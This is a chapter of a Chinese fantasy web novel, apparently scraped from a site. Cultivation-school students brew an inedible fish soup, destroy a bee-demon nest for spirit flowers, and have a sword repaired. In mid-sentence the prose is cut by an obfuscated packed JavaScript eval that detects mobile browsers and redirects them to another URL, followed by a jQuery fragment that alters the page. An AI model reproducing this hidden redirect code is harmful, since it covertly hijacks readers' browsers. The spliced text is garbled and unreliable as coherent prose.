17. 校运会

作品:《写未来夫君同人被发现后

    江昳暄蹲在鱼汤面前。


    唐青瞬走过来说:“没事,还有些时间太阳才落山,我们还有时间——”他瞪着锅中所谓的“鱼汤”,不敢再往下说话。


    扶风默默走到唐青瞬身边:“我劝你,最好不要吃暄暄做的东西哦。”


    话音方落,崔贺却已经挽袖从锅中盛出一碗了。


    扶风:“等等!”


    来不及了,半碗鱼汤已经下肚。


    崔贺睁着一双又圆又大的眼睛,面露无辜地看向扶风。


    江昳暄期待地问:“怎么样?”


    崔贺又看向她。片刻,他“扑通”一声,直挺挺地倒在了锅前!地蛋也跟着在碗边舔了一下,发出一声凄厉的“吱——”声,摔倒在了崔贺身边。


    “……”扶风双手合十。


    段鹤川不以为意:“只不过是鱼汤而已,能难吃到哪里——”等到他看清锅中之物,也同样沉默了,“这是屎——不,这是什么?”


    唐青瞬:“这是一锅绝望的死水。”


    隐隐还散发着一股腥气。


    锅中鱼是鱼,水是水。鱼只是粗糙刮了几下鱼鳞,没去干净,也没有掏去内脏,直接扔在锅中加水就开炖!鱼飘在水面上,煮熟泛白的眼睛里似乎划过一抹诡异的光,死不瞑目。


    扶风默默捧出自己雕刻的木碑,然后又被段鹤川按着手腕收了回去:“我觉得崔贺还没到这地步。”


    “我在给鱼默哀。”


    “……”段鹤川捧着她的手腕,重新举起了木碑。


    唐青瞬恍然大悟道:“我想起来了!前段时间我在湖边看到的飘在水面上的死鱼,和这锅长得一模一样!”


    段鹤川一手成拳挡住嘴边的笑意:“从湖中现捞一锅或许都没有这锅这么惨烈。”


    江昳暄:“喂!你们三个够了!”


    说着,江昳暄朝着三人丢过来一根烧火棍。三人谁都再忍不住,笑着躲开。


    崔贺也在此时醒过来,揉着头,一脸懵懂地又要去喝鱼汤,被扶风虎口夺食一把抢了下来。


    短暂休息片刻,时间还早,五人决定再去收集灵花。江昳暄说:“我刚才把这周围检查过一遍了,离这里不远有一处蜂妖巢穴。应该会有灵花。”


    唐青瞬说:“我就不跟着去了。现在正是修剑的关键时期,我不能走。”


    扶风意识到,从停下来休息开始,唐青瞬就一直拿着不求了。


    江昳暄点点头。


    于是四人商量好方位之后即刻出发。


    这么长时间,几人也摸透了学院布置灵花的规律。


    大妖、强妖领地定会有灵花。且妖怪越强,灵花等级越高。群居生活的小妖巢穴中也会放有一些灵花。还有一些紫色灵花会随手丢给一些独行、不愿合群的小妖怪,这些就要碰运气了。


    比如扶风遇到的那只小狐妖。


    当然,有一些妖怪,没有拿到灵花,就会用法术把石头草叶变成灵花的样子,来骗学生。


    都是常有发生的事情。


    扶风几人前往蜂妖巢穴路上就遇到了一株长在树下的蘑菇精。指手画脚让他们做了好多事,天色擦黑了才拿出一朵紫色灵花。等到走远,扶风才发现手中的哪里是灵花,而是一团孢子。


    想来这孢子本就有致幻作用,再加上被施了障眼法,他们才没有立刻发现有问题。


    孢子散开,惹得扶风咳嗽了好一阵。


    所幸那蘑菇精只是调皮,没有害人之心,孢子上没毒。


    天彻底黑下来的时候,四人到了蜂妖巢穴附近。


    蜂妖巢穴是一个巨大的肉球,悬挂在树木之间,方圆十里寸草不生,散发着腥臭的气息,地上满是黏黏糊糊的液体,一脚踩上去粘稠拉丝,蹭又蹭不掉。每只蜂妖都有小臂大,行经走过发出令人头皮发麻的“嗡嗡”响声。


    段鹤川说这附近未有人迹,还没有人来过。想来也是了。这才第一天,未到子夜,确定下来的结盟小队不多,若是单打独斗,一个人来闯这蜂妖巢穴绝无可能。


    也就是他们现在能闯一闯。


    几人躲在一个巨石之后。江昳暄冒出头,看清楚眼前情形,又缩了回来,对扶风说道:“数量太多,我们几个不能全上。阿扶,你能施法张开结界对吧。”


    扶风点头应下:“放心吧!交给我!”


    “那我就拜托你了。”江昳暄对扶风说完,又看向段鹤川。


    段鹤川已经拿出了一张符纸递给了崔贺:“此符在身,至少可以保证一炷香内无人能够近身。”


    “嗯。”崔贺重重点头。


    扶风掐诀念咒,片刻,江昳暄周身便萦绕上一层浅浅的金色光芒。


    江昳暄与崔贺对视一眼,两人冲出巨石,便向着蜂妖巢穴深处行去。


    很快,“嗡嗡”的声响更盛,尖锐刺耳,只是听着都能想象到蜂妖倾巢而出、遮天蔽日之象。那不断的蜂鸣声像是有人拿着一根银针一刻不停地钻着她的耳朵,直往大脑深处扎去,让人控制不住地想要抬手捂住双耳。


    忽然,一切都安静了。


    段鹤川塞了一张符纸放入她的手中。


    扶风茫然抬头。他的双唇张张合合,扶风什么也没听到。


    这张符纸不仅隔去了蜂鸣,也隔去了他的声音。扶风只隐约辨认出他在说:“别担心,很快就结束了。”


    段鹤川说完,也跟着走了出去。


    扶风紧随其后。听不到声音,的确轻松许多。她察觉到法术有减弱的趋势,立即加强法术,同时,巢穴深处爆发出几道强烈的光芒。


    紧接着,光芒越发盛烈,整个肉球巢穴炸裂开来!


    江昳暄的身影从中出现。


    她一刀砍在了躲藏在巢穴深处的蜂后身上。


    蜂后身体臃肿庞大立即断裂,爆发出无数黑色黏腻的不明液体,挣扎着蠕动两下,慢慢不动了。


    蜂后一死,工蜂群龙无首,当即乱成一团,四处飞舞找不到方向。


    眼见群蜂就要从这里跑走,段鹤川的几张符纸飞上前去,贴在四周树干之上,扶风亦在此刻掐诀,十指翻飞交缠,金光闪耀。


    一张以符纸为媒介的法阵立刻生效。群蜂触碰到法阵边界,顷刻之间化为灰烬。


    不多时,四人所处之地已经没有蜂妖了。


    段鹤川说:“还是跑走了不少。”


    扶风宽慰他,下意识地去拍段鹤川的肩膀:“我们只是来取灵花,还是不要赶尽杀绝好。”


    她习惯去和身边的人有肢体接触了,拍完他就朝着江昳暄和崔贺两人走去,完全没放在心上,没发现掌下的人身体有瞬间的停顿。


    江昳暄与崔贺从巢穴之中回来。


    “果然有灵花,两朵。”江昳暄摊开手,一朵绿色,一朵紫色。


    她有扶风法术护身,即便蜂后死时她就在一旁,也没有沾上一丝一毫那黑色液体。崔贺显然就没有那么幸运了,他虽离得远,但袖口还是被那黑色液体溅到,已经化成残渣了。


    不敢想如果这液体直接淋在身上会有多恐怖。


    扶风说:“不算全无收获!”


    夜色已深。


    四人打道回府。


    江昳暄一路上擦拭着刀上的粘液,擦不干净,最开始的几块手帕刚放上去就被腐蚀,到后面才好一些。


    扶风问:“我来试试呢?”


    她接过江昳暄的刀,施了一个清洁法术,只去掉了一部分,还有些残留顽固,不论如何都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006927|193754||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去除不掉。


    江昳暄安慰她:“没关系了,阿扶,去不掉等到我出去之后再想办法,你省一点灵力。”


    扶风执拗又尝试了几遍,垂头丧气,只得放弃:“明明是你的刀,怎么反倒来安慰我?寒弈对你来说这么重要……”


    江昳暄按住她想要继续施法的手,轻轻摇摇头:“没关系。”


    为防止有人循着火光找来,他们特意在驻地周围设下了结界。踏过结界,眼前顿时被火光照亮。


    唐青瞬见是他们四人,喜形于色,迎上来道:“你们回来了?比我想的要快些嘛!”


    他将不求递上:“你的剑,我已经修好了。”


    江昳暄接过不求。


    剑身锋利光滑,丝毫不见曾有断过的痕迹。她试着舞了一下,和之前一样顺手,手感没有任何变化!


    江昳暄被他技艺惊艳,眼睛都亮了几分,抚着长剑爱不释手,由衷赞叹道:“不愧是你,果真手艺过人。”


    唐青瞬双手叉腰:“那是!”


    江昳暄收剑入鞘,又递给扶风,如她承诺一般,让扶风第一个拔剑。扶风拿着不求到一旁玩去了,对着剑身惊叹唐青瞬的手艺。江昳暄又说:“唐青瞬,你还能再帮我一个忙吗?”


    唐青瞬刚刚翘上天的尾巴立即落了下来:“你什么意思?”


    江昳暄递上横刀。


    “……”唐青瞬见到刀身漆黑一片,顿时心痛,几乎是颤抖着双手接过,“如此一把宝刀,怎么毁成这个样子了?”


    “斩妖时候沾上的,去不掉了。”


    唐青瞬叹息。


    江昳暄道:“寒弈对我有重要意义。如果能够修好,不论什么代价……”


    唐青瞬不等她说完就答应了:“当然是能够修复的,只是这与断剑不同,我看这粘液有腐蚀性,需要更长的时间。”


    “无碍,这期间我用不求就好。”江昳暄忽然想到什么,眼睛一亮说,“对了,以后我的剑和刀坏了是不是都可以来找你,这样我就能省下好大一笔钱了!”


    唐青瞬:“想什么呢!不可能!我告诉你不可能!最多给你打七折!给我好好爱护你的武器啊!!!用的时候注意着点!总是把你的武器用坏叫怎么回事啊?仗着自己实力强大就开始随意糟蹋了是吗?!!”


    江昳暄理亏,气势在他的咆哮下矮了一截,连道:“好的好的。”


    “哪有你这样的!对武器一点都不尊重啊!”唐青瞬气鼓鼓地走到一旁坐下,又满心沉浸到如何修刀这一事情上。


    扶风问道:“话说,唐青瞬……姓唐,是我想的东境明海州的唐家吗?”


    江昳暄揉着耳朵:“是的。”


    扶风有所耳闻,东境明海州唐家,善于炼祭法器,远近闻名,所造法器质量极佳,一件难求。


    不过……唐家?


    扶风想到什么,问道:“是百年崛起三大世家之一的唐家?”


    江昳暄说:“正是他家。”


    “但是最好不要在他面前提起来这些。”段鹤川不知何时飘到两人身后,幽幽出声。


    扶风说:“你怎么也喜欢突然出现在别人身后啊?”


    段鹤川笑笑。


    扶风紧接着问回话题:“为什么不能说?”


    段鹤川道:“他虽然出身于唐家,但从小并未养在父母身边,与他父母关系算不上差,也绝谈不上好。尤其不喜欢被说自己的一身手艺传承自唐家。”


    扶风望向坐在角落中研究修刀的唐青瞬。


    他神情是从未见过专注,带着几分肃穆,仿佛此时此刻世界上只剩下了修刀这一件事。


    段鹤川:“先休息吧。至少在下一次灵花数量公布前,我们还能放松片刻。”